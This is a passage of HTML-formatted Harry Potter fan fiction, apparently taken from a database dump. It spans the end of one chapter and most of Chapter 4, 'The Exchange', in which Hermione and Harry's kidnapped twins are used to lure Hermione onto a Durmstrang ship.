Ginny, tears\nfalling down her cheeks.&nbsp; &#8220;You&#8217;re going\nto be all right.&nbsp; Everything is going to\nbe all right.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cho managed a very\nweak smile.&nbsp; &#8220;Goo&#8230;.good bye Ginny.&nbsp; You&#8217;ll make&#8230;.a&#8230;..g-great&#8230;.Mage Knight.&#8221;&nbsp; With that, Cho closed her eyes and her body\ngrew cold.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Cho?&nbsp; Cho?!&nbsp;\nCHO?!&nbsp; NOOOOOOOOOO!&#8221;&nbsp; Ginny started shaking Cho&#8217;s body but got no\nresponse.&nbsp; It was then that Harry and\nRon came dashing down the corridor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh my God, Cho\nChang,&#8221; said Ron.&nbsp; Both he and Harry\nwere stricken with tremendous grief as they beheld a crying Ginny holding Cho&#8217;s\nlifeless body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione,&#8221;\nmuttered Harry.&nbsp; He dashed into the west\nwing.&nbsp; After searching a little he found\nHermione curled up in the nursery.&nbsp;\n&#8220;Hermione!&nbsp; Thank God you&#8217;re&#8230;&#8221; it\nwas then that Harry noticed the state of the nursery and of Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was\nsilently sobbing as she looked up at Harry.&nbsp;\n&#8220;Harry, they&#8217;re gone.&nbsp; Th-they&#8217;re\ngone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry immediately\nunderstood what had happened.&nbsp; &#8220;No,&#8221; he\nwhispered.&nbsp; &#8220;No.&nbsp; Tell me it&#8217;s not true.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Th-th-they&#8217;re\ngone, Harry.&nbsp; They&#8217;re g-gone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No,&#8221; tears were\nnow falling from Harry&#8217;s eyes.&nbsp;\n&#8220;No.&nbsp; Please, God.&nbsp; Don&#8217;t let it be true.&nbsp; No!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Our ch-children,\nHarry.&nbsp; Th-they&#8217;re gone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;NO!!!&#8221;&nbsp; Harry collapsed next to Hermione and started\nsobbing.&nbsp; They embraced each other and\nstarted crying onto each other&#8217;s shoulder.&nbsp;\nAs the night grew darker, Harry and Hermione simply clung onto each\nother as if they&#8217;re lives depended on it.&nbsp;\nOutside, time mercilessly ran by.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N (sniff) that\nwas so sad, and I wrote it.&nbsp; Review and\ntell me what you think.&nbsp; I warned you\nthat this was a much more serious fic and things are going to get worse before\nthey get better.&nbsp; Next: the search\ncontinues, and the true intention of the villains is revealed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 4, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Also, orcs are\nfrom J. R. R. Tolkien&#8217;s Mythology of Arda (of which Lord of the Rings is part\nof).&nbsp; This is the only time I&#8217;m going to\nput this part up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n4: The Exchange\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Godric&#8217;s Hollow\ndid not sleep that night.&nbsp; News of the\nkidnapping of the young prince and princess spread like wildfire through the\nkingdom and citizens wept publicly.&nbsp;\nSearch parties were organized but as the hours flew by, the lack of any\nnews was highly discomforting.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Although the\nentire population was depressed about the lost of the twins, nobody was more\nagonized then Hermione and Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">By morning,\nHermione seemed as if she had lost the will to live.&nbsp; She remained in bed all day and simply refused to come out.&nbsp; Harry for his part, refused to leave\nHermione&#8217;s side.&nbsp; He was constantly\npacing back and forth in the master bedroom, eager for news about his\nchildren.&nbsp; Sometimes, Hermione would\nburst into tears quite suddenly.&nbsp; Harry\nwould immediately tightly embrace her and let her cry on his shoulder while he\nhimself occasionally wiped a tear from his own eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">By nightfall,\nHermione had calmed down but there was still no news on the whereabouts of the\nmissing twins.&nbsp; While the royal couple\nlay in bed, Hermione felt the need for comfort and crawled into Harry&#8217;s\narms.&nbsp; Harry gently stroked her back as\nHermione let a few tears roll down her cheeks.&nbsp;\nShe finally spoke up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry, what if\nwhen we find Lily and James, they&#8217;re&#8230;&#8221; She couldn&#8217;t bare to say it and she\nstarted sobbing again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Shhh.&nbsp; Don&#8217;t say that.&nbsp; They&#8217;ll be alright.&#8221;&nbsp;\nHarry kissed Hermione&#8217;s tears away but he also had to swipe away the\ntears in his own eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stifled a\nsob.&nbsp; &#8220;I just keep thinking.&nbsp; If only I were a little stronger, I could&#8217;ve\nsaved them.&nbsp; It&#8217;s my fault, Harry.&nbsp; It&#8217;s all my fault.&#8221;&nbsp; Hermione started crying again.&nbsp; Harry gently stroked the back of her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Nobody blames you\nfor what happened.&nbsp; You tried your\nbest.&nbsp; You&#8217;re a strong person,\nHermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Not strong\nenough.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I should&#8217;ve\nstayed here.&nbsp; I should&#8217;ve just sent a\nrepresentative to the conference rather than go myself.&nbsp; I should&#8217;ve stayed where I belong, right\nhere with you, Lily, and James.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;It&#8217;s not your\nfault, Harry.&#8221;&nbsp; Hermione dug her face\ninto Harry&#8217;s shoulder as Harry gently stroked her hair.&nbsp; &#8220;What if we never see them again?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t say\nthat.&nbsp; We will see them again.&nbsp; I promise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked up\ninto Harry&#8217;s emerald green eyes.&nbsp;\nOverwhelmed with love for her husband, she kissed him passionately while\nshe let more tears run down her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you so\nmuch, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">By morning\nHermione was feeling a lot better.&nbsp; As a\nresult, Harry took it upon himself to personally lead the search for his own\nchildren and left the palace.&nbsp; Though\nstill horribly depressed, Hermione was moving around again and had returned to\nher royal duties.&nbsp; She was still hoping\nfor some, even a little news on what had happened to her children.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a little\npast noon when Hermione was sitting near the window of the west wing, searching\nfor any sign of her family.&nbsp; A proud\nlooking eagle owl swooped by and dropped a letter into her lap.&nbsp; Hoping it was a report on the search, Hermione\neagerly tore the note open.&nbsp; It was\nindeed a letter about the twins, but not the one she was hoping for:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>If you ever\nwant to see your children again, come to the southern bank of Privet Drive\nRiver at midnight, alone.&nbsp; If you do not\ncome, we will kill your children.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Despite the\nthreatening nature of the letter, Hermione couldn&#8217;t help but feel a little\nrelieved that she would finally be able to see her children again.&nbsp; That hope dashed away all sense of the\nphysical danger from her mind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;I will see you\nagain, Lily and James,&#8217; she thought.&nbsp;\n&#8216;Mommy is coming to save you.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry finally\nreturned to Godric&#8217;s Hollow about thirty minutes before midnight.&nbsp; He was exhausted and depressed for the\nsimple reason that the search hadn&#8217;t yielded any results.&nbsp; He was now starting to despair that he would\neven ever see his children alive again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry dragged\nhimself up to the west wing only to find that Hermione wasn&#8217;t there.&nbsp; &#8216;Where could she have gone?&#8217; he\nwondered.&nbsp; Starting to get worried,\nHarry started searching for anything that could give him the whereabouts of his\nwife.&nbsp; He finally spotted the letter\nthat had been delivered earlier that day.&nbsp;\nHarry read it, and was horrified.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A part of Hermione\nwas screaming at her for reason, that what she was doing was stupid to say the\nleast.&nbsp; Hermione, however, buried that\npart down into her subconscious as she made for the banks of Privet Drive\nRiver.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;Harry grew up\nalong this river,&#8217; she mused.&nbsp; She\nwondered what Harry would think when he found out what she as doing.&nbsp; &#8216;No doubt he&#8217;d be horrified and angry with\nme,&#8217; she thought.&nbsp; &#8216;But if I can get\nLily and James back this way, than he&#8217;d probably be more overjoyed.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was more\nthan adequately prepared to defend herself if the need should arrive.&nbsp; She was wearing her familiar blue and white\ntravel robes, which had always served her well.&nbsp; She didn&#8217;t want to alarm the captors by showing up armed so she\nhad shrunk her staff and hid it behind her right ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Soon, she made it\nto the banks of the river.&nbsp; She looked\nup at the gibbous moon to judge the time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;It should be\nmidnight right about now,&#8217; she thought.&nbsp;\nYet, there was absolutely no sign of anybody around.&nbsp; &#8216;Why isn&#8217;t anybody here?&#8217; she wondered.&nbsp; &#8216;Could this be just some large hoax?&#8217;&nbsp; Hermione decided to wait for a few\nminutes.&nbsp; She shivered in the night air\nas she listened to crickets chirp.&nbsp; It\nwas around the time when Hermione was considering giving up when she heard a\nbaby&#8217;s cry.&nbsp; Motherly instinct taking\nover, Hermione dashed to the bushes where she could hear the crying coming\nfrom.&nbsp; She pulled aside the bushes and\ngasped.&nbsp; There, wrapped in green cloth,\nwere two babies crying at the top of their lungs: Lily and James.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Lily!&nbsp; James!&#8221; gasped Hermione as tears of joy\nrolled down her eyes.&nbsp; She quickly\npicked the two babies up and hugged them close to her.&nbsp; &#8220;Oh Lily!&nbsp;\nOh James!&nbsp; I was so worried.&nbsp; I thought I&#8217;d never see you two again!&#8221;&nbsp; Hermione let more tears fall as she gathered\nthe twins in her arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily and James\ncontinued crying.&nbsp; Hermione started\ncooing them.&nbsp; &#8220;It&#8217;s OK, Mommy&#8217;s here\nnow.&nbsp; She&#8217;s going to make sure that the\nbad people never get you two again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was just then\nthat a shadow came up from behind her.&nbsp;\nHermione had just enough time to whirl around and see someone yell <i>&#8220;Stupefy!&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry ran his\nhorse, Firebolt as fast as he could.&nbsp; He\nneeded to get to the banks of Privet Drive River as fast as he could or else he\nwould lose his family forever.&nbsp; If he\ndidn&#8217;t make it in time&#8230;Harry refused to think about what would happen if that\nwere so.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Firebolt\nbolted into the clearing by the banks of the river.&nbsp; Harry jumped off his horse and ran to the river&#8217;s edge.&nbsp; He was just able to make out a Durmstrang\nship sailing out to the sea.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No,&#8221; whispered\nHarry.&nbsp; He desperately looked around his\nsurroundings but found nobody else there.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No!&nbsp; Please, God.&nbsp; No!&#8221;&nbsp; But Harry knew it\nwas a lost cause.&nbsp; He looked out at the\nDurmstrang ship sailing away and he felt his heart crumble.&nbsp; Somehow, Harry knew full well that Hermione\nwas on that ship.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No!&#8221;&nbsp; Harry sank to his knees and started\nweeping.&nbsp; &#8220;No.&nbsp; No!&nbsp; NO!&#8221;&nbsp; He soon started wailing and cursing at no\none in particular.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;WHY?!&nbsp; DAMMIT!&nbsp;\nWHY?!&#8221; he shouted.&nbsp; &#8220;Why is\neverything I ever loved taken from me?!&nbsp;\nFirst my parents! &nbsp;Then my\nchildren!&nbsp; And now my wife!&nbsp; WHY?!&nbsp;\nDAMMIT!&nbsp; WHY?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry abruptly\nstopped when he heard what sounded like babies crying.&nbsp; He slowly crept to the bushes where the\ncrying was coming from.&nbsp; There, lying in\na small heap were Lily and James!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 